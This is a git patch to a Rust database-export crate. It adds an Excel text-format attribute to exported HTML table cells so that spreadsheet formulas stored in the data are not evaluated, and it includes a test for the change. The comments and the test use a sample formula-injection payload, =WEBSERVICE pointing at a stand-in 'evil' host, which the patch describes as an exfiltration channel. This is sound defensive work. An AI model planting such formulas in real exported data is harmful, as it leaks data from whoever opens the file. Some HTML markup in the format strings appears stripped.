From 7bb0431470bd593eae5de71aebfd7d853bc37dc1 Mon Sep 17 00:00:00 2001 From: ordinary being Date: Sun, 4 Oct 2026 16:36:31 +0800 Subject: [PATCH] fix(export): keep Excel from evaluating formulas in exported HTML --- crates/dbx-formats/src/text_export.rs | 76 +++++++++++++++++++++++++-- 1 file changed, 73 insertions(+), 3 deletions(-) diff --git a/crates/dbx-formats/src/text_export.rs b/crates/dbx-formats/src/text_export.rs index 1c7ada3c79..6c8d033bcd 100644 --- a/crates/dbx-formats/src/text_export.rs +++ b/crates/dbx-formats/src/text_export.rs @@ -1,6 +1,8 @@ use serde::{Deserialize, Serialize}; use serde_json::{Map, Value}; +use crate::csv_export::needs_formula_guard; + #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(rename_all = "camelCase")] pub struct QueryResultTextExportData { @@ -253,7 +255,8 @@ pub fn format_html(data: &QueryResultTextExportData) -> String { html.push_str(" \n \n \n"); for (index, col) in data.columns.iter().enumerate() { html.push_str(&format!( - " \n", + " \n", + html_formula_guard_attribute(col), index, html_escape(col) )); @@ -264,10 +267,11 @@ pub fn format_html(data: &QueryResultTextExportData) -> String { html.push_str(" \n"); for cell in row { let (text, css_class) = html_cell_value(cell); + let guard = html_formula_guard_attribute(&text); if css_class.is_empty() { - html.push_str(&format!(" \n", html_escape(&text))); + html.push_str(&format!(" {}\n", html_escape(&text))); } else { - html.push_str(&format!(" \n", css_class, html_escape(&text))); + html.push_str(&format!(" \n", html_escape(&text))); } } html.push_str(" \n"); @@ -367,6 +371,27 @@ pub fn format_html(data: &QueryResultTextExportData) -> String { html } +/// Attribute that keeps Excel from evaluating an exported cell as a formula. +/// +/// Excel reads an exported HTML table as sheet cells and evaluates a cell whose +/// text looks like a formula, so a stored `=WEBSERVICE("https://evil/")` runs when +/// the file is opened in a spreadsheet -- the same exfiltration channel #10542 +/// closed for CSV/TSV. This is measured on Excel 16.0: an unannotated `=1+1` cell +/// arrives as the number 2, ` =cmd` executes after the leading space is dropped, and +/// `-1+2` is promoted to `=-1+2`. +/// +/// Excel's own text number format makes the cell plain text instead. Browsers ignore +/// the `mso-` property, so the exported page still renders the value byte-for-byte -- +/// which matters because the HTML export's primary consumer is a browser, and the +/// leading apostrophe the CSV/TSV writers use would be visible there. +fn html_formula_guard_attribute(value: &str) -> &'static str { + if needs_formula_guard(value) { + r##" style="mso-number-format:'\@'""## + } else { + "" + } +} + fn html_escape(value: &str) -> String { let mut out = String::with_capacity(value.len()); for ch in value.chars() { @@ -527,6 +552,51 @@ mod tests { assert!(out.contains("'x'"), "single quotes must be escaped"); } + #[test] + fn formats_html_keeps_excel_from_evaluating_formula_shaped_cells() { + // Excel reads an exported HTML table as sheet cells. Without the text number + // format a stored `=WEBSERVICE(...)` runs on open, ` =cmd` runs after the + // leading space is dropped, and `-1+2` is promoted to a formula; `+2` is + // silently coerced to the number 2, losing the sign. The attribute has to be + // on the cell itself and correctly terminated, and the value must stay + // untouched so a browser renders exactly what the database holds. + const TEXT_FORMAT: &str = " style=\"mso-number-format:'\\@'\""; + let guarded = |value: &str| format!("{value}"); + + let out = format_html(&QueryResultTextExportData { + title: None, + columns: vec!["=evil".to_string(), "plain".to_string()], + rows: vec![vec![ + json!("=WEBSERVICE(\"https://evil/\")"), + json!("plain"), + json!("+2"), + json!("-1+2"), + json!(" =cmd"), + json!("-note"), + json!("@x"), + json!(42), + Value::Null, + ]], + }); + + // The same predicate the CSV/TSV writers use decides which cells are guarded. + for value in ["=WEBSERVICE("https://evil/")", "+2", "-1+2", " =cmd", "-note", "@x"] { + assert!(out.contains(&guarded(value)), "cell {value:?} must carry the text number format"); + } + // Column names reach the sheet too, so a formula-shaped header is covered. + assert!( + out.contains(&format!("")); + assert!(out.contains("")); + assert!(!out.contains("'="), "the value itself must not be prefixed"); + } + #[test] fn formats_html_empty_result_set() { let out =
{}{}{}
42NULL